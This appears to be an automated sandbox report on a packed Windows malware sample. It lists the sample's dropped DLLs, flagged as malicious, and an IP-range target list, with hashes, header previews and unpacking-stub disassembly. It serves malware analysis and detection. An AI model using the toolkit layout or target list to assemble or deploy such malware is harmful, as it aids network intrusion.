SHA-512:	C4F116701798F210D347726680419FD85880A8DC12BF78075BE6B655F056A17E0A940B28BBC9A5A78FAC99E3BB99003240948ED878D75B848854D1F9E5768EC9
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 96%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........(...FD..FD..FDVc8D.FD.a;D.FD.a=D.FD.a(D.FD.a+D..FD..UD.FD..GD..FD.a8D..FD...D.FD...D..FD...D..FDRich..FD................PE..L...#.LO...........!................Z........0...............................`............@.........................p5..I...D2..P............................P......................................X1..@............0...............................text...v........................... ..`.rdata.......0......................@..@.data...\....@......................@....reloc.......P......."..............@..B................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\ip.txt

Download File

Process:	C:\Users\user\Desktop\exe3.bin.bak.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	13998
Entropy (8bit):	3.3461322937944553
Encrypted:	false
SSDEEP:	192:zlc5zaTzdLRZZfSYb/3yHNcTDF7DTQ3EzPXM8jGWZFJawOkPx4KjvJzPW7R2aQVe:m5zyxZKYgc9ZWkPJpa/UGg/L7epp
MD5:	EF424BFF12028C11ED23B24973097392
SHA1:	38EE591AC14BD0667085ACD64E200CF7146D3D4E
SHA-256:	4643156BB6111F7972C18916DC6846BAE73C8FF00BF19B1226E7B3A475A364CB
SHA-512:	C53B46C4B6EDAC51185F9C160C279634AD12CAE451DA35FA721CCF25E7C63343DA943674AF516B73DA6BF95B94B702CA7659F05C723D097BF9C39AA4D31B1601
Malicious:	false
Preview:	192.168.0.1 192.168.255.255..195.93.0.1 195.93.255.255..190.198.0.1 190.207.255.255..82.141.0.1 82.141.255.255..41.219.0.1 41.219.255.255..78.131.0.1 78.131.255.255..188.247.0.1 188.247.255.255..41.70.0.1 41.70.255.255..46.166.0.1 46.166.255.255..109.182.0.1 109.182.255.255..202.133.0.1 202.133.255.255..116.213.0.1 116.213.255.255..37.46.0.1 37.46.255.255..156.67.0.1 156.67.255.255..194.50.0.1 194.50.255.255..89.19.0.1 89.19.255.255..95.87.0.1 95.87.255.255..46.39.0.1 46.39.255.255..196.3.0.1 196.3.255.255..160.0.0.1 160.0.255.255..186.148.0.1 186.148.255.255..208.66.0.1 208.66.255.255..102.22.0.1 102.22.255.255..195.14.0.1 195.14.255.255..85.196.0.1 85.196.255.255..185.78.0.1 185.78.255.255..213.35.0.1 213.35.255.255..1.2.0.1 1.2.255.255..196.6.0.1 196.6.255.255..185.251.0.1 185.251.255.255..190.121.0.1 190.121.255.255..199.247.0.1 199.247.255.255..62.44.0.1 62.44.255.255..103.147.0.1 103.147.255.255..223.204.0.1 223.207.255.255..212.9.0.1 212.9.255.255..109.205.0.1 109.205.255.255..1

C:\Users\user\Desktop\libeay32.dll

Download File

Process:	C:\Users\user\Desktop\exe3.bin.bak.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	903168
Entropy (8bit):	6.889730101758065
Encrypted:	false
SSDEEP:	12288:G8Vbf1xLg6nelYgv1GZzd6qNvFBMhLG/SV2qvteuhNJspc4z84mbKeV4gbU:bo1v1GZFNvDya/SVQuhN2p9z84m3e+U
MD5:	F01F09FE90D0F810C44DCE4E94785227
SHA1:	036F327417B7E1C6E0B91831440992972BC7802E
SHA-256:	5F30AA2FE338191B972705412B8043B0A134CDB287D754771FC225F2309E82EE
SHA-512:	90FFB4E11AB1227AFDA2F08D72D06AEDF663A28A47FCCD9C032F4044AA497093AC774E20860913D5123CC3143CB9B7DBDDA363B3F58473508027508E07C4EF12
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 92%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........$...E.L.E.L.E.L]..L.E.L..L.E.L..L.E.L..L.E.L..L.E.L.=.L.E.L.f.L.E.L.E.L.E.L..L.E.L.=.L1D.L.E.L.E.L.=.L.E.L...L.E.L.=.L.E.LRich.E.L........PE..L...a.LO...........!.....V..........G`.......p...............................0...........................................h..............@...............................................................@............p..x............................text....T.......V.................. ..`.rdata.......p.......Z..............@..@.data........`.......<..............@....rsrc...@...........................@..@.reloc...............4..............@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\libxml2.dll

Download File

Process:	C:\Users\user\Desktop\exe3.bin.bak.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	826368
Entropy (8bit):	6.856248953756473
Encrypted:	false
SSDEEP:	12288:OhdWYPkG1r0VtrTMhsGCQcdGfGwKaNAu5uld+tirrmrx+448+:4lPpr0PsBCfYfGg6t3rm
MD5:	9A5CEC05E9C158CBC51CDC972693363D
SHA1:	CA4D1BB44C64A85871944F3913CA6CCDDFA2DC04
SHA-256:	ACEB27720115A63B9D47E737FD878A61C52435EA4EC86BA8E58EE744BC85C4F3
SHA-512:	8AF997C3095D728FE95EEEDFEC23B5D4A9F2EA0A8945F8C136CDA3128C17ACB0A6E45345637CF1D7A5836AAA83641016C50DBB59461A5A3FB7B302C2C60DFC94
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 92%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............u...u...u..j....u......u......u......u......u..V...u...u..Xu....M..u......u....\..u...._..u..Rich.u..........PE..L.....LO...........!.....&........... .......@......................................................................P_.......W..P............................`..Ht...................................V..@............@...............................text....%.......&.................. ..`.rdata.......@.......*..............@..@.data....$...0......................@....reloc...y...`...z..."..............@..B........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\posh-0.dll

Download File

Process:	C:\Users\user\Desktop\exe3.bin.bak.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11264
Entropy (8bit):	5.766003132356282
Encrypted:	false
SSDEEP:	192:BNn+r+YB4cdCjWXGyby8Eaw5Xs+dNjnGy6W4l5t1Ib/X:BdW+k4z3yu8rwy+dNjnGlW40
MD5:	2F0A52CE4F445C6E656ECEBBCACEADE5
SHA1:	35493E06B0B2CDAB2211C0FC02286F45D5E2606D
SHA-256:	CDE45F7FF05F52B7215E4B0EA1F2F42AD9B42031E16A3BE9772AA09E014BACDB
SHA-512:	88151CE5C89C96C4BB086D188F044FA2D66D64D0811E622F35DCEAADFA2C7C7C084DD8AFB5F774E8AD93CA2475CC3CBA60BA36818B5CFB4A472FC9CEEF1B9DA1
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 92%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........P.#.1kp.1kp.1kp...p.1kp...p.1kp...p.1kp...p.1kp..xp.1kp.1jp.1kp...p.1kp.I.p.1kp.I.p.1kp.I.p.1kpRich.1kp................PE..L.....LO...........!................%........0...............................`............@......................... 8.......6..<............................P..0....................................5..@............0..T............................text...6........................... ..`.rdata.......0......................@..@.data...\....@......."..............@....reloc..h....P.......&..............@..B........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\ssleay32.dll

Download File

Process:	C:\Users\user\Desktop\exe3.bin.bak.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	184320
Entropy (8bit):	6.486623727210775
Encrypted:	false
SSDEEP:	3072:mLTO9u7hG/sRtbvSRvkFKSmxuMy2n+WztW56X3AdGa1XW3VL7uGLnPhanJE+hX:eyg7hztbvSRvkWxuMlndzouWnmPLcnJ
MD5:	5E8ECDC3E70E2ECB0893CBDA2C18906F
SHA1:	43F92D0E47B1371C0442C6CC8AF3685C2119F82C
SHA-256:	BE8EB97D8171B8C91C6BC420346F7A6D2D2F76809A667ADE03C990FEFFADAAD5
SHA-512:	B41A1B7D149E8D67881A4CB753D44BE0C978577159315025E03A90EFBE5157FC7E5F6DEB71A4C66739302987406CA1410973F8598220DE4D89EBC4FCB3C18AF5
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 92%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........2...\...\...\..O...\..n!...\..n'...\..n2...\..n1..\......\...]..\..n"...\......\......\......\......\.Rich..\.................PE..L...w.LO...........!................<...............................................................................pu..A....n..P.......@...........................................................(m..@............................................text...V........................... ..`.rdata..............................@..@.data...T+.......(..................@....rsrc...@...........................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\tibe-2.dll

Download File

Process:	C:\Users\user\Desktop\exe3.bin.bak.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	237568
Entropy (8bit):	6.5907290500598075
Encrypted:	false
SSDEEP:	3072:GQng3MAngh6CNXfdUrYSaocn484kQL93ZnV6Bbf5+1qo3/mlch9VQ816oPYQ3:GwkQf4q481Qx3hV6Bbf5+1qbch9V91J
MD5:	F0881D5A7F75389DEBA3EFF3F4DF09AC
SHA1:	8404F2776FA8F7F8EAFFB7A1859C19B0817B147A
SHA-256:	CA63DBB99D9DA431BF23ACA80DC787DF67BB01104FB9358A7813ED2FCE479362
SHA-512:	F266BAECAE0840C365FE537289A8BF05323D048EF3451EBFFBE75129719C1856022B4BDDD225B85B6661BBE4B2C7AC336AA9EFDEB26A91A0BE08C66A9E3FE97E
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 96%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........!Q..rQ..rQ..rv[.rX..rv[.rS..rv[.r^..rv[.r...rX.lrS..r...rT..rQ..r..rv[.rP..rX.\|rv..rX.mrP..rX.nrP..rRichQ..r................PE..L...5.LO...........!................>&.......0............................................@.........................@@...J..D;..d...................................................................X:..@............0..P............................text............................... ..`.rdata...Z...0...\... ..............@..@.data................\|..............@....reloc..............................@..B................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\trch-1.dll

Download File

Process:	C:\Users\user\Desktop\exe3.bin.bak.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	59904
Entropy (8bit):	6.384962040154663
Encrypted:	false
SSDEEP:	768:9fo4XJn+xrNRFydS3allJVAI5az6oL5BsterNpGEi1Yt4KH8va:9DurNRFoS38lJD+B4te5pGjY+da
MD5:	838CEB02081AC27DE43DA56BEC20FC76
SHA1:	972AB587CDB63C8263EB977F10977FD7D27ECF7B
SHA-256:	0259D41720F7084716A3B2BBE34AC6D3021224420F81A4E839B0B3401E5EF29F
SHA-512:	BCCA9E1E2F84929BF513F26CC2A7DC91F066E775EF1D34B0FB00A54C8521DE55EF8C81F796C7970D5237CDEAB4572DEDFD2B138D21183CB19D2225BDB0362A22
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 92%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......'...c...c...c...D}.d...D}.a...D}..l...D}..\...j...g...:...`...c.....D}.b...j..."...j...b...j...b...Richc...........................PE..L.....LO...........!.........F......f.....................................................@.........................P....!..D...d...............................@...................................P...@...............0............................text...r........................... ..`.rdata...........0..................@..@.data...............................@....reloc..H...........................@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\trfo-2.dll

Download File

Process:	C:\Users\user\Desktop\exe3.bin.bak.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	29696
Entropy (8bit):	6.547296626785163
Encrypted:	false
SSDEEP:	768:NluruFqeE4KRu8B/4VHNaEoPw6HtFhCC48qkfg:Nlu0EDRTl4VHkw6NLA8
MD5:	3E89C56056E5525BF4D9E52B28FBBCA7
SHA1:	08F93AB25190A44C4E29BEE5E8AACECC90DAB80C
SHA-256:	B2A3172A1D676F00A62DF376D8DA805714553BB3221A8426F9823A8A5887DAAA
SHA-512:	32487C6BCA48A989D48FA7B362381FADD0209FDCC8E837F2008F16C4B52AB4830942B2E0AA1FB18DBEC7FCE189BB9A6D40F362A6C2B4F44649BD98557ECDDBB6
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........c...........................................z_......!......................zO......z^......z].....Rich............................PE..L.....LO...........!.....V..........@`.......p............................................@.........................`z..G....v..x....................................................................t..@............p...............................text...&U.......V.................. ..`.rdata.......p.......Z..............@..@.data................j..............@....reloc...............n..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\tucl-1.dll

Download File

Process:	C:\Users\user\Desktop\exe3.bin.bak.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	9216
Entropy (8bit):	5.458439359139689
Encrypted:	false
SSDEEP:	192:EXTHmlw2IjGFKL6rBbnbO8slVnZp7snHQNv8uU4l5XLIb/p2:yHm218DrB768mFZxsKv8v4/cF2
MD5:	83076104AE977D850D1E015704E5730A
SHA1:	776E7079734BC4817E3AF0049F42524404A55310
SHA-256:	CF25BDC6711A72713D80A4A860DF724A79042BE210930DCBFC522DA72B39BB12
SHA-512:	BD1E6C99308C128A07FBB0C05E3A09DBCF4CEC91326148439210077D09992EBF25403F6656A49D79AD2151C2E61E6532108FED12727C41103DF3D7A2B1BA82F8
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 92%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........b.1.1.1.[.1...1.[.1.1.[.1.1.[.1...1...1.1.1...1.[.1.1...1.1...1.1...1.1Rich.1................PE..L.....LO...........!......................... ...............................P............@......................... %......4"..<............................@..D...................................H!..@............ ...............................text............................... ..`.rdata....... ......................@..@.data...\....0......................@....reloc.......@......................@..B........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\ucl.dll

Download File

Process:	C:\Users\user\Desktop\exe3.bin.bak.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	58368
Entropy (8bit):	6.672487827821247
Encrypted:	false
SSDEEP:	1536:ncZeBwroDJXSoY9/8qqG9aCapIu2GfUFd0:ZWrSJCoyUlG9sg0
MD5:	6B7276E4AA7A1E50735D2F6923B40DE4
SHA1:	DB8603AC6CAC7EB3690F67AF7B8D081AA9CE3075
SHA-256:	F0DF80978B3A563077DEF7BA919E2F49E5883D24176E6B3371A8EEF1EFE2B06A
SHA-512:	58E65CE3A5BCB65F056856CFDA06462D3FBCE4D625A76526107977FD7A44D93CFC16DE5F9952B8FCFF7049A7556B0D35DE0AA02DE736F0DAEEC1E41D02A20DAA
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 92%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........~.......................m...............k.......~.......}.......................n.....................Rich....................PE..L...{.LO...........!.........,...................................................................................... ...........<.......................................................................................d............................text............................... ..`.rdata..............................@..@.data...\|...........................@....reloc..............................@..B................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\x64.dll

Download File

Process:	C:\Users\user\Desktop\exe3.bin.bak.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	92160
Entropy (8bit):	5.856801052130016
Encrypted:	false
SSDEEP:	1536:PlDf5UB2vFMiSI6vlOV9JZ+OLJs7UsWe1Ed09dlf/4ia:PlDf5JmiB6tarZ+ii7bcMN/4ia
MD5:	679795D1F387D9A6BEDDA306964F7ACA
SHA1:	6AB5E96C207DCD255893EF3D31188157DD4537F0
SHA-256:	275A9A7B99F3474CBF8A61964A6022E3CF7BAF76E0EE2FBA31A708D8F1E25BD0
SHA-512:	F605FE47853B4F9958A54B3D7C1AE0E35E58EE73A255463C827C31513DB7A324BF8223899D0A1C83594AEDE4623606980A88D532C9A4D9B14CBDD0A882DF46BF
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 79%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1.J.P...P...P...;...P...;...P...;..lP...$...P...$...P...$...P...;...P...P...P..?$...P..?$9..P..?$...P..Rich.P..................PE..d.....(b.........." ......................................................................`..................................................U..P...............8...............8....F..p...........................pF..8...............8............................text...`........................... ..`.rdata..............................@..@.data........`.......D..............@....pdata..8............N..............@..@_RDATA...............\..............@..@.rsrc................^..............@..@.reloc..8............`..............@..B........................................................................................................................................................................................................

C:\Users\user\Desktop\x86.dll

Download File

Process:	C:\Users\user\Desktop\exe3.bin.bak.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	72704
Entropy (8bit):	6.1559716752614575
Encrypted:	false
SSDEEP:	1536:t+3r75k1UeRS+PlMlDO7JCWl6fIZZgsWccdSyYIWg8Y:8+1k+ClDO7SfIjcSfIT8Y
MD5:	CC55779EAB28EB65877EEC251B731D5B
SHA1:	AE4EA94DD7A0ACDCC358A09AB5E2B1847994AD91
SHA-256:	F247A48D3ECDBDF91FCD7A2D8728ADAAF06149586ADDE62DE7212C6DE645AD58
SHA-512:	C25EE17BC83E24525D48190365D0FE770A64D43007870D4762C5FA2ABA0DC86D9A2DED6E43258B3318C3DDEBD3C996B93037C43F7E7BA3F8AE1BC95967E14DF8
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 92%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......D.. .~.s.~.s.~.s...r.~.s...r.~.s...r.~.sl..r.~.sl..r.~.sl..r.~.s...r.~.s.~.sR~.s...r.~.s..;s.~.s...r.~.sRich.~.s................PE..L...Z.(b...........!.........................................................`............@.....................................P....@.......................P..........p...............................@............................................text............................... ..`.rdata...Z.......\..................@..@.data........ ......................@....rsrc........@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\xdvl-0.dll

Download File

Process:	C:\Users\user\Desktop\exe3.bin.bak.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	32256
Entropy (8bit):	6.4974965673672305
Encrypted:	false
SSDEEP:	768:ah/VicQqYL6tqi5CzTbvNJKMEKRW2FN4fn9n:ah/P5YJi5CzvvNJKMEX2FN4f9
MD5:	5B72CCFA122E403919A613785779AF49
SHA1:	F560EA0A109772BE2B62C539B0BB67C46279ABD1
SHA-256:	B7D8FCC3FB533E5E0069E00BC5A68551479E54A990BB1B658E1BD092C0507D68
SHA-512:	6D5E0FEF137C9255244641DF39D78D1180172C004882D23CF59E8F846726021BA18AF12DEB0E60DFE385F34D7FB42AE2B5E54915FFA11C42D214B4FBFAD9F39D
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 96%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......+_W"o>9qo>9qo>9qH.Dqh>9qH.Bqm>9qH.Wq`>9qH.Tq/>9qfF.qk>9q6.*ql>9qo>8q.>9qH.Gqn>9qfF.qc>9qfF.qn>9qfF.qn>9qRicho>9q........................PE..L...9.LO...........!.....Z...(.......e.......p............................................@..........................x.......s..d...............................D....................................r..@............p...............................text....Y.......Z.................. ..`.rdata.......p.......^..............@..@.data...t............p..............@....reloc..v............x..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\zlib1.dll

Download File

Process:	C:\Users\user\Desktop\exe3.bin.bak.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	60416
Entropy (8bit):	6.791137408021781
Encrypted:	false
SSDEEP:	1536:B/Dm7yqxVqWk9XZDGu8I+rnToIfnIOwIOkyk:B/DmWaq/9XZDwLTBfJmkyk
MD5:	E4AD4DF4E41240587B4FE8BBCB32DB15
SHA1:	E8C98DBCD20D45BBBBF4994CC4C95DFCF504C690
SHA-256:	AA8ADF96FC5A7E249A6A487FAAF0ED3E00C40259FDAE11D4CAF47A24A9D3AAED
SHA-512:	4AB69AB79B721B62F8A1194EB5D5B87E545F280D017EA736109E59C4DD47921AF63F135A2B7930A84649B5672F652831AA7E73EDD8AB6523E6D94C7D703F9716
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 96%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........G.j.).j.).j.).3.:.h.)..4W.o.).M6T.m.).j.(.5.).M6R.i.).M6G.e.).M6D.*.).c...e.).M6W.k.).c...k.).t...k.).c...k.).Richj.).................PE..L...l.LO...........!.........`...................LZ......................... ......+...........................................<...............................`.......................................@............................................text.............................. ..`.rdata...K.......L..................@..@.data...............................@....rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
Entropy (8bit):	7.9293047794792715
TrID:	Win32 Executable (generic) a (10002005/4) 99.66% UPX compressed Win32 Executable (30571/9) 0.30% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	exe3.bin.bak.exe
File size:	3'350'528 bytes
MD5:	2311a69113104a760d785a79f45bab74
SHA1:	32e883771883ba44715180e92a20c80638c5c78f
SHA256:	f2af31b74bfe1648b8c06ce5b3869e81ce8caafe4a265e007af4036af3448ae7
SHA512:	aafbd53acb886e6ab7706400852e8b79766ae99f5899b45952dc21cc55d91f0dca2d86e25f2568dc2b497a73a9c7e70682f98d8901c8089ac5650e46e1dd87e1
SSDEEP:	98304:+5cZe7uQ3mmGOBUv/np/MobFO62BLNBtq7clfJrmf2Yy7:+5t7uwB6f1Vv2BRBSc3Set
TLSH:	AEF533570BF9ACA7F075E9753804EBD6094E583304FE22B88A67C9E5193BE434F99603
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......h@.Y,!..,!..,!..C>..%!..C>..*!...=...!..W=..)!..z>...!..N>..4!..,!...#...)../!..x...-!......F!.......!...>..p!...>..7!..,!...!.

File Icon


Icon Hash:	03d884aaaefcddcb

Static PE Info

General

Entrypoint:	0xd07cb0
Entrypoint Section:	UPX1
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:
Time Stamp:	0x6666D110 [Mon Jun 10 10:10:24 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	30f2d038f1b85739a09af1775d3a9aeb

Entrypoint Preview

Instruction
pushad
mov esi, 009D8000h
lea edi, dword ptr [esi-005D7000h]
push edi
or ebp, FFFFFFFFh
jmp 00007FCBA47BC952h
nop
nop
nop
nop
nop
nop
mov al, byte ptr [esi]
inc esi
mov byte ptr [edi], al
inc edi
add ebx, ebx
jne 00007FCBA47BC949h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jc 00007FCBA47BC92Fh
mov eax, 00000001h
add ebx, ebx
jne 00007FCBA47BC949h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc eax, eax
add ebx, ebx
jnc 00007FCBA47BC94Dh
jne 00007FCBA47BC96Ah
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jc 00007FCBA47BC961h
dec eax
add ebx, ebx
jne 00007FCBA47BC949h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc eax, eax
jmp 00007FCBA47BC916h
add ebx, ebx
jne 00007FCBA47BC949h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc ecx, ecx
jmp 00007FCBA47BC994h
xor ecx, ecx
sub eax, 03h
jc 00007FCBA47BC953h
shl eax, 08h
mov al, byte ptr [esi]
inc esi
xor eax, FFFFFFFFh
je 00007FCBA47BC9B7h
sar eax, 1
mov ebp, eax
jmp 00007FCBA47BC94Dh
add ebx, ebx
jne 00007FCBA47BC949h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jc 00007FCBA47BC90Eh
inc ecx
add ebx, ebx
jne 00007FCBA47BC949h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jc 00007FCBA47BC900h
add ebx, ebx
jne 00007FCBA47BC949h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jnc 00007FCBA47BC931h
jne 00007FCBA47BC94Bh
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jnc 00007FCBA47BC926h
add ecx, 02h
cmp ebp, FFFFFB00h
adc ecx, 02h
lea edx, dword ptr [eax+eax]

Rich Headers

Programming Language:

[C++] VS98 (6.0) SP6 build 8804
[ C ] VS98 (6.0) SP6 build 8804
[C++] VS98 (6.0) build 8168
[ C ] VS98 (6.0) build 8168
[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x909880	0x29c	.rsrc
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x908000	0x1880	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
UPX0	0x1000	0x5d7000	0x0	d41d8cd98f00b204e9800998ecf8427e	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
UPX1	0x5d8000	0x330000	0x330000	b49ffc60f3f09996efbde5ee3acf0284	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x908000	0x2000	0x1c00	be64a3c706644bcaefaf46d42307ac6d	False	0.32700892857142855	data	3.927193655142576	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
TEXTINCLUDE	0x8ffb9c	0xb	data	Chinese	China	1.7272727272727273
TEXTINCLUDE	0x8ffba8	0x16	OpenPGP Secret Key	Chinese	China	1.3636363636363635
TEXTINCLUDE	0x8ffbc0	0x151	data	Chinese	China	1.032640949554896
RT_CURSOR	0x8ffd14	0x134	data	Chinese	China	1.0357142857142858
RT_CURSOR	0x8ffe48	0x134	data	Chinese	China	1.0357142857142858
RT_CURSOR	0x8fff7c	0x134	data	Chinese	China	1.0357142857142858
RT_CURSOR	0x9000b0	0xb4	data	Chinese	China	1.0611111111111111
RT_BITMAP	0x900164	0x248	data	Chinese	China	1.018835616438356
RT_BITMAP	0x9003ac	0x144	data	Chinese	China	1.0339506172839505
RT_BITMAP	0x9004f0	0x158	data	Chinese	China	1.0319767441860466
RT_BITMAP	0x900648	0x158	SysEx File - Kamiya	Chinese	China	1.0319767441860466
RT_BITMAP	0x9007a0	0x158	data	Chinese	China	1.0319767441860466
RT_BITMAP	0x9008f8	0x158	data	Chinese	China	1.0319767441860466
RT_BITMAP	0x900a50	0x158	data	Chinese	China	1.0319767441860466
RT_BITMAP	0x900ba8	0x158	data	Chinese	China	1.0319767441860466
RT_BITMAP	0x900d00	0x158	data	Chinese	China	1.0319767441860466
RT_BITMAP	0x900e58	0x158	data	Chinese	China	1.0319767441860466
RT_BITMAP	0x900fb0	0x5e4	data	Chinese	China	1.007294429708223
RT_BITMAP	0x901594	0xb8	data	Chinese	China	1.059782608695652
RT_BITMAP	0x90164c	0x16c	data	Chinese	China	1.0302197802197801
RT_BITMAP	0x9017b8	0x144	data	Chinese	China	1.0339506172839505
RT_ICON	0x9018fc	0x2e8	data	Chinese	China	1.0147849462365592
RT_ICON	0x901be4	0x128	data	Chinese	China	1.037162162162162
